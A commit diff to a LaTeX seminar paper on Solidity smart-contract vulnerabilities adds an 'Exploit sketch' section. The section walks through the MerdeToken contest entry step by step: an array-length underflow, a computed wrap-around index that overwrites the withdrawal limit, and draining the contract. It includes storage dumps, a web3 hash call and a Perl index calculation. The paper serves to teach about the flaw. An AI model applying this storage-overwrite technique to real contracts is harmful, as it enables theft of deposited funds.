Przeglądaj źródła

Add exploit sketch

master
Ivaylo Ivanov 1 rok temu
rodzic
commit
e8cc0986be
2 zmienionych plików z 110 dodań i 3 usunięć
  1. BIN
      SemSEpaper/exercises.pdf
  2. 110
    3
      SemSEpaper/exercises.tex

BIN
SemSEpaper/exercises.pdf Wyświetl plik


+ 110
- 3
SemSEpaper/exercises.tex Wyświetl plik

@@ -159,7 +159,7 @@ In the following example (Algorithm~\ref{alg:pop-incorrect}) the $pop$ function
159 159
 \end{algorithm}
160 160
 
161 161
 Another weakness that allows arbitrary storage access is unchecked assembly code. Assembly is a powerful tool that allows the developers to get as close to the EVM as they can,
162
-but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}}: \textit{"this [inline assembly]
162
+but it may also be very dangerous when not tested correctly. As per the documentation\footnote{\url{https://docs.soliditylang.org/en/latest/assembly.html}, accessed: Oct. 30th 2023}: \textit{"this [inline assembly]
163 163
 bypasses important safety features and checks of Solidity. You should only use it for tasks that need it, and only if you are confident with using it."}
164 164
 When given access to such lowlevel structures, a programmer can built-in not only weaknesses similar to the ones described previously, but also others, such as overwriting map locations,
165 165
 contract variables etc.
@@ -300,9 +300,116 @@ The Smartian tool~\cite{smartian} attempts to find a middle-ground between stati
300 300
 
301 301
 \section{Exploit sketch}
302 302
 
303
-\cite{doughoyte}
304
-%TODO: just explain what this guy does: https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte%
303
+An exploitation sketch to Algorithm~\ref{alg:pop-incorrect} and to Algorithm~\ref{alg:multilayer-example} is available from Doughoyte~\cite{doughoyte}.
305 304
 
305
+\textbf{Checkpoint A}
306
+We assume that the following events have ocurred:
307
+\begin{enumerate}
308
+  \item the contract MerdeToken\footnote{\url{https://github.com/Arachnid/uscc/blob/master/submissions-2017/doughoyte/MerdeToken.sol}, accessed: Oct. 30th 2023} has been created;
309
+  \item the investor has set a withdrawal limit of 1 ether, which only they can change;
310
+  \item an investor has invested 50 ETH;
311
+  \item the owner is malicious.
312
+\end{enumerate}
313
+
314
+At this point, an example storage layout as per Doughoyte would be:
315
+
316
+\medspace
317
+
318
+\lstset{style=mystyle}
319
+\begin{algorithm}[H]
320
+	\begin{lstlisting}[language=Octave]
321
+    "storage": {
322
+        // The address of the contract owner:
323
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
324
+        // The address of the trusted third party:
325
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
326
+        // The amount deposited (50 ETH):
327
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
328
+        // The withdrawal limit (1 ETH):
329
+        "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
330
+        // the legth of the array would normaly stay here, if it was not zero at init time
331
+        // balanceOf[investorAddress] (50 MDT):
332
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
333
+    }
334
+  \end{lstlisting}
335
+	\caption{Exploit - Memory at Checkpoint A}
336
+  \label{alg:exploit-checkpoint-a}
337
+\end{algorithm}
338
+
339
+\textbf{Checkpoint B}
340
+Afterwards, the malicious owner calls the vulnerable function \texttt{popBonusCode()} and the length of the array is set to the max value. This happened, because prior to the underflow, the array length was zero and, to save space, it was omitted from the memory:
341
+
342
+\medspace
343
+
344
+\lstset{style=mystyle}
345
+\begin{algorithm}[H]
346
+	\begin{lstlisting}[language=Octave]
347
+    "storage": {
348
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
349
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
350
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
351
+        "0000000000000000000000000000000000000000000000000000000000000004": "880de0b6b3a7640000",
352
+        // The array length has underflowed:
353
+        "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
354
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
355
+    }
356
+  \end{lstlisting}
357
+	\caption{Exploit - Memory at Checkpoint B}
358
+  \label{alg:exploit-checkpoint-b}
359
+\end{algorithm}
360
+
361
+Increasing the length of the array to the maximum allowed by \texttt{uint256} was important, as this will now allow the owner to pass the requirement set in \texttt{modifyBonusCode} and still
362
+use the function for storage modification.
363
+
364
+\textbf{Checkpoint C} The owner is then able to use \texttt{modifyBonusCode} to increase the fixed withdraw limit to the max \texttt{uint256} value. Had the contract not have this vulnerability,
365
+this action should only have been possible through the \texttt{setWithdrawLimit}, which is only available to the investor.
366
+
367
+In order to overwrite the withdrawal limit, the owner must calculate the hex value to use as a first argument (index) to the function.
368
+Since the array \texttt{bonusCodes} underflow is defined in the sixth place in the contract storage, its length is in the fifth storage slot (counting from zero)
369
+The limit is defined at the fourth storage slot. Then, in order to manipulate the withdrawal limit, the owner must convert the address of the length to hexadecimal:\\
370
+\lstset{style=mystyle}
371
+\begin{algorithm}[H]
372
+	\begin{lstlisting}[language=Octave]
373
+    > web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000005", { encoding: 'hex' })
374
+    "0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0"
375
+  \end{lstlisting}
376
+	\caption{Exploit - Convert length address to hex}
377
+  \label{alg:exploit-convert-address}
378
+\end{algorithm}
379
+
380
+and then just calculate the array index that will wrap around using the formula $2^{256} - H + 4$, where $2^{256}$ is the max \texttt{uint256} value, H is the hex obtained from the previous command and 4 is the offset of the withdrawal limit storage slot from the base of the contract. This, converted to hex, will give the owner the address to use with \texttt{modifyBonusCode}. The Perl snippet below does that:\\
381
+\lstset{style=mystyle}
382
+\begin{algorithm}[H]
383
+	\begin{lstlisting}[language=Octave]
384
+    \$ perl -Mbigint -E 'say ((2**256 - 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0 + 4)->as_hex)'
385
+    0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c254
386
+  \end{lstlisting}
387
+	\caption{Exploit - Convert limit offset to address}
388
+  \label{alg:exploit-convert-offset}
389
+\end{algorithm}
390
+
391
+As a result, the memory now looks like this:
392
+
393
+\medspace
394
+
395
+\lstset{style=mystyle}
396
+\begin{algorithm}[H]
397
+	\begin{lstlisting}[language=Octave]
398
+    "storage": {
399
+        "0000000000000000000000000000000000000000000000000000000000000000": "94b898c1a30adcff67208fd79b9e5a4d339f3cc6d2",
400
+        "0000000000000000000000000000000000000000000000000000000000000001": "948bc7317ad44d6f34f0f0b6e3c8c7bf739ba666fa",
401
+        "0000000000000000000000000000000000000000000000000000000000000003": "8902b5e3af16b1880000",
402
+        // The withdrawal limit is now really high:
403
+        "0000000000000000000000000000000000000000000000000000000000000004": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
404
+        "0000000000000000000000000000000000000000000000000000000000000005": "a0ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
405
+        "dd87d7653af8fba540ea9ebd2d914ba190d975fcfa4d8d2927126a5decdbff9e": "8902b5e3af16b1880000"
406
+    }
407
+  \end{lstlisting}
408
+	\caption{Exploit - Memory at Checkpoint C}
409
+  \label{alg:exploit-checkpoint-c}
410
+\end{algorithm}
411
+
412
+\textbf{Checkpoint D} The owner can now call \texttt{withdraw()} with the full amount of ether in the contract and drain it. The investor has not increased the limit at any point.
306 413
 
307 414
 \bibliography{exercise.bib}
308 415
 

Ładowanie…
Anuluj
Zapisz